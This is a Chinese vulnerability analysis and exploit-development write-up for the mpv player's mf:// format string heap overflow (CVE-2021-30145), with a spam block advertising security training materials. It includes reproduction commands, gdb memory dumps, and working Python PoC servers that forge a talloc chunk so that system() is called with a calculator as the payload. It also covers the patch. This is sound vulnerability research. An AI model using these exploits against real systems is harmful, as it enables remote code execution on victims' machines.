一、背景介绍
mpv 项目是开源项目,可以在多个系统包括 Windows、Linux、MacOs 上运行,是一款流行的视频播放器,mpv 软件在读取文件名称时存在格式化字符串漏洞,可以导致堆溢出并执行任意代码。
二、环境搭建
系统环境为 Ubuntu x64 位,软件环境可以通过两种方式搭建环境。a. 通过源码编译,源码地址为:https://github.com/mpv-player/mpv/tree/v0.33.0下载地址为:https://github.com/mpv-player/mpv/archive/refs/tags/v0.33.0.zipb. 直接安装安装包,安装后没有符号,调试不方便,可以使用以下三条命令来安装软件:sudo add-apt-repository ppa:mc3man/mpv-testssudo apt-get updatesudo apt-get install mpv
安装完成后运行软件如下所示:
【一>所有资源获取<一】1、200 多本网络安全系列电子书(该有的都有了)2、全套工具包(最全中文版,想用哪个用哪个)3、100 份 src 源码技术文档(项目学习不停,实践得真知)4、网络安全基础入门、Linux、web 安全、攻防方面的视频(2021 最新版)5、网络安全学习路线(告别不入流的学习)6、ctf 夺旗赛解析(题目解析实战操作)
三、漏洞复现
源代码:
demux_mf.c 文件中 154 行存在对 sprintf 函数的调用,sprintf 函数是格式化字符串函数,参数 1 是目标缓冲区,参数 2 是格式化字符串,参数 2 是可控的,第三个参数是循环次数,mpv 程序本身支持文件名中传入一个 %,可以使用 %d 打印这个循环次数,但是由于校验不严格,并没有校验其他的格式化字符串,以及 %的个数,所以存在格式化字符串漏洞:
在 demux_mf.c 文件中 127 行会检查是否存在 %,没有判断有几个 %,以及 %之后的参数。程序存在格式化字符串漏洞,使用如下命令运行程序:./mpv -v mf://%p.%p.%p
运行 mpv 时使用-v 参数可以打印出更加详细的信息,此时可以看到打印出了栈上的信息,格式化字符串漏洞造成了信息泄漏。demux_mf.c 文件中 154 行存在对 sprintf 函数的调用,sprintf 函数是格式化字符串函数,参数 1 是缓冲区,参数 2 是格式化字符串,这是可控的,现在为了安全都使用 snprintf 函数,可以限制缓冲区的大小,使用 sprintf 函数会造成信息泄漏,图中 fname 是堆中的缓冲区地址:
程序自己实现了一个内存申请函数,包含自定义的块头结构,在函数的 124 行调用 talloc_size 来申请内存,申请大小为文件名的大小加 32 个字节,如果使用格式字符串例如 %1000d,会把一个四字节数据扩展到占用 1000 个字节,这样会导致堆溢出。
上图中,启动 mpv 时传入参数 mf://%1000d 会导致程序崩溃。
四、漏洞分析
通过源码编译后可以根据符号对程序下断点,先查看下 open_mf_pattern 漏洞函数:使用 gdb 启动 mpv 程序
gdb ./mpv
~~~
gdb-peda$ disassemble open_mf_pattern
Dump of assembler code for function open_mf_pattern:
~
0x00000000001e44af <+559>: call 0x1305a0 __sprintf_chk@plt
~
复制代码
可以看到在 open_mf_pattern+0x559 处调用的是 sprintf_chk 函数,这是因为使用源码编译时使用了 FORTIFY_SOURCE 选项,对 sprintf 函数的调用会自动修改为调用 sprintf_chk 函数,可以在 gdb-peda 下输入 checksec 检查:
gdb-peda$ checksec
CANARY : ENABLED
FORTIFY : ENABLED 可以看到开启了FORTIFY选项
NX : ENABLED
PIE : disabled
RELRO : FULL
gdb-peda$
复制代码
sprintf_chk 函数有一个变量表明缓冲区的大小,但是因为此处缓冲区是通过 talloc_size 申请堆上的内存,所以没有办法在编译器确定缓冲区的大小,所以此函数使用 0xFFFFFFFFFFFFFFFF 来表明缓冲区的大小,这样我们就可以使用堆溢出来利用这个漏洞,实际操作中这个漏洞被利用可能性还是比较小的,本次在 Ubuntu 20.04.1 LTS 系统和关闭 ASLR 情况下利用此漏洞:
五、漏洞利用程序开发
开发利用程序前,需要使用 sudo sh -c “echo 0 > /proc/sys/kernel/randomizeva_space”命令关闭系统的 ASLR 功能。mpv 程序运行时会把格式化字符串块保存在自定义的块中,使用 talloc_size 来分配内存,还有自定义的堆头结构。
struct ta_header {
size_t size; // size of the user allocation
// Invariant: parent!=NULL => prev==NULL
struct ta_header prev; // siblings list (by destructor order)
struct ta_header next;
// Invariant: parent==NULL || parent->child==this
struct ta_header child; // points to first child
struct ta_header parent; // set for _first child only, NULL otherwise
void (destructor)(void );
unsigned int canary;
struct ta_header leak_next;
struct ta_header leak_prev;
const char name;
};
复制代码
可以在 ta.c 文件中看到此结构的内容以及对应的函数,此结构中包含一个 destructor,是析构指针,还有一个值是 canary,编译选项 TA_MEMORY_DEBUGGING 默认是启用的,此值为固定值 0xD3ADB3EF,是为了检测程序是否有异常。当调用 ta_free 函数时会判断析构函数,如果析构函数不为空,那么会去调用析构函数。
在此函数内部还调用了 get_header 函数,函数内容为
根据堆块地址 ptr 往低地址偏移固定字节找到堆头结构地址 tag_head,然后调用 ta_dbg_check_header 函数
ta_dbg_check_header 函数会检查 canary 值是否为 0xD3ADB3EF,如果 parent 不为空,还会判断前向节点和父节点。
5.1 覆盖 destructor 指针
漏洞利用思路为调用 sprintf 函数时堆溢出到下一个堆的头结构,改变堆头结构的析构指针,当调用 ta_free 函数时,如果析构指针不为空,那么就会调用析构函数。mpv 程序在运行时可以读取 m3u 文件列表,如使用命令
./mpv http://localhost:7000/x.m3u
复制代码
mpv 程序会去连接本地的 7000 端口,并获取 x.m3u 文件,获取的内容 mf://及之后的内容保存在堆中,当 mf://及之后的内容占用不同大小的空间时,程序会把文件名称的内容放在堆中不同的位置处,我们需要找到一个合适的大小来满足如下条件:当 mpv 将文件内容名称存放在堆中时,后面的内存内容包含一个自定义的堆头结构,这样当我们溢出数据时,可以操纵到后面的堆头结构内容。使用如下的 POC 测试占用不同的空间可以将文件名称内容放到合适的地址处:
#!/usr/bin/env python3
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((‘localhost’, 7000))
s.listen(5)
c, a = s.accept()
playlist = b’mf://‘
playlist += b’A’0x40
playlist += b’%d’ # we need a ‘%’ to reach vulnerable path
d = b’HTTP/1.1 200 OK\r\n’
d += b’Content-type: audio/x-mpegurl\r\n’
d += b’Content-Length: ‘+str(len(playlist)).encode()+b’\r\n’
d += b’\r\n’
d += playlist
c.send(d)
c.close()
复制代码
代码中使用 playlist += b’A’0x40 来占位,0x40 是经过测试的数据,笔者可以修改此值来测试占用多少字节可以申请一个合适的位置,运行此脚本文件。然后使用 gdb 调试 mpv 程序:gdb ./mpv 使用命令 b open_mf_pattern+559 在调用 sprintf_chk 函数处下断点,使用命令运行 mpv 程序:r http://localhost:7000/x.m3u
可以看到第一个参数 arg[0]数据为 0x7fffec001210,使用命令 x/100xg 0x7fffec001210-0x50,往前偏移 0x50 是为了查看堆头结构的数据
gdb-peda$ x/100xg 0x7fffec001210-0x50
0x7fffec0011c0: 0x0000000000000062 0x0000000000000000 [size] | [prev]
0x7fffec0011d0: 0x0000000000000000 0x0000000000000000 [next] | [child]
0x7fffec0011e0: 0x00007fffec001140 0x0000000000000000 [parent] | [destructor]
0x7fffec0011f0: 0x00000000d3adb3ef 0x0000000000000000 [canary] | [leak_next]
0x7fffec001200: 0x0000000000000000 0x0000555556676b8f [leak_prev] | [name]
0x7fffec001210: 0x0000000000000000 0x0000000000000071 begin actual data
0x7fffec001220: 0x00007fffec004df0 0x00007fffec001610
0x7fffec001230: 0x0000000000000000 0x0000000000000000
0x7fffec001240: 0x0000000000000000 0x0000000000000000
0x7fffec001250: 0x0000000000000000 0x0000000000000000
0x7fffec001260: 0x0000000000000000 0x0000555556c288a0
0x7fffec001270: 0x736f686c61636f6c 0x782f303030373a74
0x7fffec001280: 0x00000000000000d0 0x0000000000000065
0x7fffec001290: 0x000055555732dc00 0x0000555557315010
0x7fffec0012a0: 0x0000000000000000 0x0000000000000000
0x7fffec0012b0: 0x0000000000000000 0x0000000000000000
0x7fffec0012c0: 0x0000000000000000 0x0000000000000000
0x7fffec0012d0: 0x0000000000000000 0x0000000000000000
0x7fffec0012e0: 0x0000000000000000 0x0000000000000045
0x7fffec0012f0: 0x0000000000000000 0x0000000000000000
0x7fffec001300: 0x0000000100000000 0x0000000000000001
0x7fffec001310: 0x0000000000000000 0x0000000000000000
0x7fffec001320: 0x00000073656c6966 0x0000000000000051
0x7fffec001330: 0x00007fffec0047d0 0x00007fffec0046e0
0x7fffec001340: 0x0000000000000000 0x0000000000000000
0x7fffec001350: 0x0000000000000000 0x0000000000000000
0x7fffec001360: 0x0000000000000000 0x0000000000000000
0x7fffec001370: 0x0000000000000050 0x0000000000000044
0x7fffec001380: 0x0000000000000000 0x0000000000000000
0x7fffec001390: 0x0000000100000000 0x7470797200000001
0x7fffec0013a0: 0x0000000000000000 0x0000000000000000
0x7fffec0013b0: 0x00646d6574737973 0x0000000000000021
0x7fffec0013c0: 0x00007fffec005570 0x00007fffec0177c0
0x7fffec0013d0: 0x0000000000000020 0x0000000000000044
0x7fffec0013e0: 0x0000000000000000 0x0000000000000000
0x7fffec0013f0: 0x0000000100000000 0x0000000000000001
0x7fffec001400: 0x0000000000000000 0x0000000000000000
0x7fffec001410: 0x0000000000736e64 0x0000000000000035
0x7fffec001420: 0x3638782f62696c2f 0x756e696c2d34365f
0x7fffec001430: 0x696c2f756e672d78 0x6c69665f73736e62
0x7fffec001440: 0x00322e6f732e7365 0x0000000000000065
0x7fffec001450: 0x0000000000000003 0x00007fffec004a80 [size] | [prev]
0x7fffec001460: 0x0000000000000000 0x0000000000000000 [next] | [child]
0x7fffec001470: 0x0000000000000000 0x0000000000000000 [parent] | [destructor]
0x7fffec001480: 0x00000000d3adb3ef 0x0000000000000000 [canary] | [leak_next]
0x7fffec001490: 0x0000000000000000 0x0000555556c288a0 [leak_prev] | [name]
0x7fffec0014a0: 0x000000006600666d 0x00000000000000f5 begin actual data
复制代码
堆块的实际数据起始地址为 0x7fffec001210,堆头地址为 0x7fffec0011C0,紧随其后有一个堆头结构位于 0x7fffec001450。使用如下 poc 脚本即可覆盖 0x7fffec001450 堆头结构中的 destructor 指针
#!/usr/bin/env python3
import socket
from pwn import
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((‘localhost’, 7000))
s.listen(5)
c, a = s.accept()
playlist = b’mf://‘
playlist += b’A’*0x10
playlist += b’%590c%c%c%4$c%4$c%4$c%4$c%4$c%4$c%4$c%4$c\x22\x22\x22\x22\x22\x22’
d = b’HTTP/1.1 200 OK\r\n’
d += b’Content-type: audio/x-mpegurl\r\n’
d += b’Content-Length: ‘+str(len(playlist)).encode()+b’\r\n’
d += b’\r\n’
d += playlist
c.send(d)
c.close()
复制代码
正常情况下 %c 即可格式化一个 char 类型的数据,使用 %590c 是为了似乎用空格字符占用更多的字节,让程序去处理目的地址 590 个字节后面的数据,%c%c 的目的是跳到一个参数,该参数的值为 0,%4cc%4cc%4cc%4cc 将 8 个字节的 0x00 写到父指针 parent 中,绕过 ta_dbg_check_header 函数中对前向节点和父节点的检查。6 个\x22 将 0x222222222222 写入到 destruct 指针中。程序会多次运行到 sprintf_chk 函数处,从源代码中可以看到程序会运行 5 次,在最后一次运行结束后,查看后续堆的头结构内容如下:
gdb-peda$ x/20xg 0x7fffec001450
0x7fffec001450: 0x2020202020202020 0x2020202020202020 [size] | [prev]
0x7fffec001460: 0x2020202020202020 0xdf6e042020202020 [next] | [child]
0x7fffec001470: 0x0000000000000000 0x0000222222222222 [parent] | [destructor]
0x7fffec001480: 0x00000000d3adb3ef 0x0000000000000000 [canary] | [leak_next]
0x7fffec001490: 0x0000000000000000 0x0000555556c288a0
0x7fffec0014a0: 0x000000006600666d 0x00000000000000f5
0x7fffec0014b0: 0x0000000000000000 0x00007fffec0008d0
0x7fffec0014c0: 0x0000000000000000 0x0000000000000000
0x7fffec0014d0: 0x0000000000000000 0x00005555557632c0
0x7fffec0014e0: 0x0000000000000000 0x0000000000000000
复制代码
当前已经覆盖了 destructor 指针为 0x0000222222222222。 输入指令 c 并回车继续运行:
可以看到出现段错误,RIP 为 0x222222222222,将要执行到 RIP 指向的指令,但是内存地址不合法导致程序出现段错误。
5.2 覆盖 child 指针
目前只修改到了 RIP,其他的上下文并不合适,可以换一种利用思路,通过观察源代码可以看到:
在 ta.c 文件中可以看到调用析构函数后,还调用了 ta_free_children 释放子节点,在 ta_free_children 函数中调用 ta_free 释放子节点,然后在此函数中又判断子节点的 destructor 指针,如不为 0,则调用 destructor 指向内存的代码。现在需要换一种漏洞利用思路,即覆盖到堆头结构中的 child 指针,如果这个 child 块是我们自己可以构造的一个假块,构造 destructor 指针为 system 函数的地址,canary 值为固定值 0xd3adb3ef,还需构造假块的 parent 为 0,就可以绕过判断,调用 system 函数时传入的指针为堆块的实际数据的起始地址,所以我们还需要构造这个假块的实际数据为“gnome-calculator”字符串。还需要构造这个假块, mpv 程序读取 m3u 文件列表时,会接收 http 报文,http 报文中包含了文件名数据,还可以在 http 报文中构造一个假块,当关闭 ASLR 情况下,http 报文中假块的堆头结构地址是固定的 0x00007fffec001dd8,这个地址在不同的系统版本以及软件下可能会有变化,所以需要读者自己去定位,笔者使用如下方式定位:
http 报文在内存中的地址与调用 sprintf 时的目的地址在同一块内存中。
程序在调用 sprintf 断下后,使用 vmmap 查看进程模块占用了哪些内存页面,查看 sprintf 函数的第一个参数落到哪个内存块中:
如图参数1指向的内存落在0x00007fffec000000 0x00007fffec0b9000 rw-p mapped 内存块中,使用命令dump binary memory ./files_down_exp_map 0x00007fffec000000 0x00007fffec0b9000即可dump内存到磁盘上。
复制代码
使用二进制文本搜索工具如 winhex,搜索 gnome-calculator,即可找到假块在文件中的数据,对应到内存中即可找到数据。
图中文件偏移0x1DD8处的数据即为假块堆头结构,0x1E28处数据即为假块实际数据起始处。
复制代码
找到假块堆头在文件中的位置为 0x1DD8,那在内存中的位置为 0x00007fffec000000+0x1DD8=0x00007fffec001DD8,修改对应 EXP 中子块的指针
在 gdb-peda 插件下输入命令:print system,可以定位到 system 函数的地址,修改脚本中 SYSTEM_ADDR 为 system 函数对应地址。EXP 脚本如下:
#!/usr/bin/env python3
import socket
from pwn import
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((‘localhost’, 7000))
s.listen(5)
c, a = s.accept()
playlist = b’mf://‘
playlist += b’A’0x30
playlist += b’%550c%c%c’
playlist += b’\xd8\x1d%4$c\xec\xff\x7f’ # overwriting child addr with fake child
SYSTEM_ADDR = 0x7ffff760c410
CANARY = 0xD3ADB3EF
fake_chunk = p64(0) # size
fake_chunk += p64(0) # prev
fake_chunk += p64(0) # next
fake_chunk += p64(0) # child
fake_chunk += p64(0) # parent
fake_chunk += p64(SYSTEM_ADDR) # destructor
fake_chunk += p64(CANARY) # canary
fake_chunk += p64(0) # leak_next
fake_chunk += p64(0) # leak_prev
fake_chunk += p64(0) # name
d = b’HTTP/1.1 200 OK\r\n’
d += b’Content-type: audio/x-mpegurl\r\n’
d += b’Content-Length: ‘+str(len(playlist)).encode()+b’\r\n’
d += b’PL: ‘
d += fake_chunk
d += b’gnome-calculator\x00’
d += b’\r\n’
d += b’\r\n’
d += playlist
c.send(d)
c.close()
复制代码
使用 gdb 启动 mpv 后,下断点 b *open_mf_pattern+559,使用命令 r http://localhost:7000/x.m3u 运行程序,多次运行 sprintf_chk 后查看内存数据:
gdb-peda$ x/20xg 0x7fffec001450
0x7fffec001450: 0x2020202020202020 0x2020202020202020
0x7fffec001460: 0xdf5e042020202020 0x00007fffec001dd8 [next] | [child]
0x7fffec001470: 0x0000000000000000 0x0000000000000000
0x7fffec001480: 0x00000000d3adb3ef 0x0000000000000000
0x7fffec001490: 0x0000000000000000 0x0000555556c288a0
0x7fffec0014a0: 0x000000006600666d 0x00000000000000f5
0x7fffec0014b0: 0x0000000000000000 0x00007fffec0008d0
0x7fffec0014c0: 0x0000000000000000 0x0000000000000000
0x7fffec0014d0: 0x0000000000000000 0x00005555557632c0
0x7fffec0014e0: 0x0000000000000000 0x0000000000000000
复制代码
child 指针此时为 0x00007fffec001dd8,查看 child 中的数据:
gdb-peda$ x/20xg 0x00007fffec001dd8
0x7fffec001dd8: 0x0000000000000000 0x0000000000000000
0x7fffec001de8: 0x0000000000000000 0x0000000000000000
0x7fffec001df8: 0x0000000000000000 0x00007ffff760c410 [parent] | [destructor]
0x7fffec001e08: 0x00000000d3adb3ef 0x0000000000000000 [canary] | [leak_next]
0x7fffec001e18: 0x0000000000000000 0x0000000000000000
0x7fffec001e28: 0x61632d656d6f6e67 0x726f74616c75636c
0x7fffec001e38: 0x3a666d0a0d0a0d00 0x4141414141412f2f
0x7fffec001e48: 0x4141414141414141 0x4141414141414141
0x7fffec001e58: 0x4141414141414141 0x4141414141414141
0x7fffec001e68: 0x4141414141414141 0x2563303535254141
复制代码
地址 0x7fffec001e28 处对应的是堆实际数据,对应的是字符串数据 gnome-calculator,destructor 为 system 函数的地址,按 c 回车运行:
可以看到弹出了计算器。总结一下利用思路:
mpv 程序在读取 m3u 文件列表时会使用 http 协议从服务端上取出对应的文件名称
服务端发送 http 报文时包含了格式化字符串以及一个构造的假块,这个假块包括伪造好的堆头结构以及堆内容
mpv 取到对应的文件名称时会调用 sprintf_chk 时将文件名作为格式化字符串去格式化一个堆空间,由于目标地址是在堆中,所以没有办法在编译器确定堆的大小,传入一个 0xFFFFFFFFFFFFFFFF 作为堆的大小,相当于没有对堆空间大小做限制,调用此函数会导致堆溢出,溢出到相邻的一个堆块头结构,覆盖 child 指针。
这个 child 指针指向一个假块,假块内容是服务器端使用 http 协议发过来的数据,假块包括头结构和实际数据,头结构中 destructor 字段修改 system 函数的地址,当释放这个 child 块时,会判断 destructor 指针是否为空,不为空则调用 destructor 指向的函数,参数为假块实际数据的地址,假块构造时在实际数据中填充字符串 gnome-calculator,所以调用析构函数时效果相当于调用 system(“gnome-calculator”)。注意需要关闭系统的 ASLR,这样 system 函数地址才为固定值,实际中此漏洞利用难度较大,需要绕过 ASLR。
六、漏洞修复:
目前该漏洞已经修复,本身程序运行时是支持文件名中带一个 %d 的格式化字符串,修复后检查只有一个 %,并且是 %d,如果是其他的参数则不合法。
对 sprintf 函数的调用修改为调用 snprintf,限制了缓冲区的大小。
七、参考链接:
mpv 媒体播放器–mf 自定义协议漏洞(CVE-2021-30145)
评论